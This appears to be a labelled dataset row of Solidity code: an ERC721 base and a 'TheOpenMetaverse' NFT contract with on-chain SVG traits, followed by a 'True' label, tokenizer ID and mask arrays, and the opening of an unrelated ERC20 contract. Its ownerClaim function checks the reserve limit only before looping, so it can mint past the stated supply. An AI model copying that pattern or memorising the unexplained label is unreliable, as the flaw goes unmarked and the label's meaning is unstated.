* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
contract TheOpenMetaverse is ERC721Enumerable, ReentrancyGuard, Ownable {
uint256 private tokenId = 1;
uint256 private reserveTokenId = 9501;
string[] private World = [
"Galaxy",
"Nebula",
"Red giant",
"White dwarf",
"Pulsar",
"Black hole",
"Dark matter",
"Mercury",
"Venus",
"Earth",
"Mars",
"Jupiter",
"Saturn",
"Uranus",
"Neptune"
];
string[] private Environment = [
"Coast",
"Mountain",
"Sea",
"Woods",
"Valley",
"River",
"Hill",
"Field",
"Suburb",
"City",
"Town",
"Village",
"Park",
"Lake",
"Volcano"
];
string[] private Building = [
"Architecture",
"Construction",
"Home",
"House",
"Apartment",
"Duplex",
"Office",
"Estate",
"Garage",
"Shed",
"Factory",
"Shop",
"Storage",
"Farm",
"Hut"
];
string[] private Transport = [
"Car",
"Train",
"Bus",
"Coach",
"Plane",
"Boat",
"Ship",
"Tram",
"Taxi",
"Bike",
"Moped",
"Motorbike",
"Ferry",
"Helicopter",
"Monorail",
"Trolleybus",
"Rickshaw",
"Litter"
];
string[] private Avatar = [
"Archetype",
"Warrior",
"Fighter",
"Farmer",
"Priest",
"Animal",
"Beast",
"Furry",
"Hentai",
"VR Avatar",
"Celebrity",
"Monk",
"Entrepreneur",
"Businessman",
"Vampire"
];
string[] private Skill = [
"Cooking",
"Farming",
"Hunting",
"Gardening",
"Drawing",
"Building",
"Washing",
"Driving",
"Teaching",
"Consulting",
"Plastering",
"Digging",
"Flying",
"Playing",
"Art"
];
string[] private Resource = [
"Data",
"Dollars",
"Cryptocurrancy",
"Land",
"Gold",
"Gems",
"Wind",
"Sunlight",
"Hydro",
"Nuclear",
"Art",
"Food",
"Wood",
"Steel",
"Concrete"
];
string[] private Element = [
"Earth",
"Air",
"Fire",
"Water",
"Space"
];
function random(string memory input) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(input)));
}
function getWorld(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "World", World);
}
function getEnvironment(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "Environment", Environment);
}
function getBuilding(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "Building", Building);
}
function getTransport(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "Transport", Transport);
}
function getAvatar(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "Avatar", Avatar);
}
function getSkill(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "Skill", Skill);
}
function getResource(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "Resource", Resource);
}
function getElement(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "Element", Element);
}
function pluck(uint256 tokenId, string memory keyPrefix, string[] memory sourceArray) internal view returns (string memory) {
uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId))));
string memory output = sourceArray[rand % sourceArray.length];
return output;
}
function tokenURI(uint256 tokenId) override public view returns (string memory) {
string[17] memory parts;
parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">';
parts[1] = getWorld(tokenId);
parts[2] = '</text><text x="10" y="40" class="base">';
parts[3] = getEnvironment(tokenId);
parts[4] = '</text><text x="10" y="60" class="base">';
parts[5] = getBuilding(tokenId);
parts[6] = '</text><text x="10" y="80" class="base">';
parts[7] = getTransport(tokenId);
parts[8] = '</text><text x="10" y="100" class="base">';
parts[9] = getAvatar(tokenId);
parts[10] = '</text><text x="10" y="120" class="base">';
parts[11] = getSkill(tokenId);
parts[12] = '</text><text x="10" y="140" class="base">';
parts[13] = getResource(tokenId);
parts[14] = '</text><text x="10" y="160" class="base">';
parts[15] = getElement(tokenId);
parts[16] = '</text></svg>';
string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8]));
output = string(abi.encodePacked(output, parts[9], parts[10], parts[11], parts[12], parts[13], parts[14], parts[15], parts[16]));
string memory traits = string(abi.encodePacked('{"trait_type": "Environment","value": "',parts[3],'"},{"trait_type": "Resource","value": "',parts[13],'"},{"trait_type": "Skill","value": "',parts[11],'"},{"trait_type": "Transport","value": "',parts[7],'"},{"trait_type": "Avatar","value": "',parts[9],'"},{"trait_type": "World","value": "',parts[1],'"},{"trait_type": "Element","value": "',parts[15],'"},{"trait_type": "Building","value": "',parts[5],'"}'));
string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "Resource #', toString(tokenId), '","description": "The Open Metaverse project consists of 10,000 alphanumeric NFTs of randomised stuff generated and stored on the Ethereum blockchain. The NFTs are free to mint (+ gas) and can be used to build The Open Metaverse.","image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '", "traits": [', traits,'] }'))));
output = string(abi.encodePacked('data:application/json;base64,', json));
return output;
}
function claim() public nonReentrant {
require(tokenId > 0 && tokenId < 9501, "Token ID invalid");
_safeMint(_msgSender(), tokenId);
tokenId++;
}
function ownerClaim(uint256 quantity) public nonReentrant onlyOwner {
require(reserveTokenId > 9500 && reserveTokenId < 10001, "Reserved Token ID invalid");
uint256 finaltokenid = reserveTokenId + quantity;
for(uint256 i=reserveTokenId; i<finaltokenid; i++){
_safeMint(owner(), i);
reserveTokenId++;
}
}
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function contractURI() public view returns (string memory) {
string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "The Open Metaverse", "description": "The Open Metaverse project consists of 10,000 alphanumeric NFTs of randomised stuff generated and stored on the Ethereum blockchain. The NFTs are free to mint (+ gas) and can be used to build The Open Metaverse.", "seller_fee_basis_points": 500, "fee_recipient": "0x54d6b6c93180264285b906f42a3d6330fd0da3a1"}'))));
json = string(abi.encodePacked('data:application/json;base64,', json));
return json;
}
constructor() ERC721("The Open Metaverse", "MTVS") Ownable() {
// ownerClaim();
}
}
/// [MIT License]
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <[email protected]>
library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2260,
1011,
2570,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5511,
1011,
2676,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
16048,
2629,
3115,
1010,
2004,
4225,
1999,
1996,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1031,
1041,
11514,
1033,
1012,
1008,
1008,
10408,
2545,
2064,
13520,
2490,
1997,
3206,
19706,
1010,
2029,
2064,
2059,
2022,
1008,
10861,
11998,
2011,
2500,
1006,
1063,
9413,
2278,
16048,
2629,
5403,
9102,
1065,
1007,
1012,
1008,
1008,
2005,
2019,
7375,
1010,
2156,
1063,
9413,
2278,
16048,
2629,
1065,
1012,
1008,
1013,
8278,
29464,
11890,
16048,
2629,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
2995,
2065,
2023,
3206,
22164,
1996,
8278,
4225,
2011,
1008,
1036,
8278,
3593,
1036,
1012,
2156,
1996,
7978,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1001,
2129,
1011,
19706,
1011,
2024,
1011,
4453,
1031,
1041,
11514,
2930,
1033,
1008,
2000,
4553,
2062,
2055,
2129,
2122,
8909,
2015,
2024,
2580,
1012,
1008,
1008,
2023,
3853,
2655,
2442,
2224,
2625,
2084,
2382,
2199,
3806,
1012,
1008,
1013,
3853,
6753,
18447,
2121,
12172,
1006,
27507,
2549,
8278,
3593,
1007,
6327,
3193,
5651,
1006,
22017,
2140,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
3223,
8278,
1997,
2019,
9413,
2278,
2581,
17465,
24577,
3206,
1012,
1008,
1013,
8278,
29464,
11890,
2581,
17465,
2003,
29464,
11890,
16048,
2629,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
22627,
2043,
1036,
19204,
3593,
1036,
19204,
2003,
4015,
2013,
1036,
2013,
1036,
2000,
1036,
2000,
1036,
1012,
1008,
1013,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
25331,
19204,
3593,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
22627,
2043,
1036,
3954,
1036,
12939,
1036,
4844,
1036,
2000,
6133,
1996,
1036,
19204,
3593,
1036,
19204,
1012,
1008,
1013,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
4844,
1010,
21318,
3372,
17788,
2575,
25331,
19204,
3593,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
22627,
2043,
1036,
3954,
1036,
12939,
2030,
4487,
19150,
2015,
1006,
1036,
4844,
1036,
1007,
1036,
6872,
1036,
2000,
6133,
2035,
1997,
2049,
7045,
1012,
1008,
1013,
2724,
6226,
29278,
8095,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
6872,
1010,
22017,
2140,
4844,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2193,
1997,
19204,
2015,
1999,
1036,
1036,
3954,
1036,
1036,
1005,
1055,
4070,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
3954,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3954,
1997,
1996,
1036,
19204,
3593,
1036,
19204,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
1036,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-07-12
*/
/**
*Submitted for verification at Etherscan.io on 2021-04-23
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
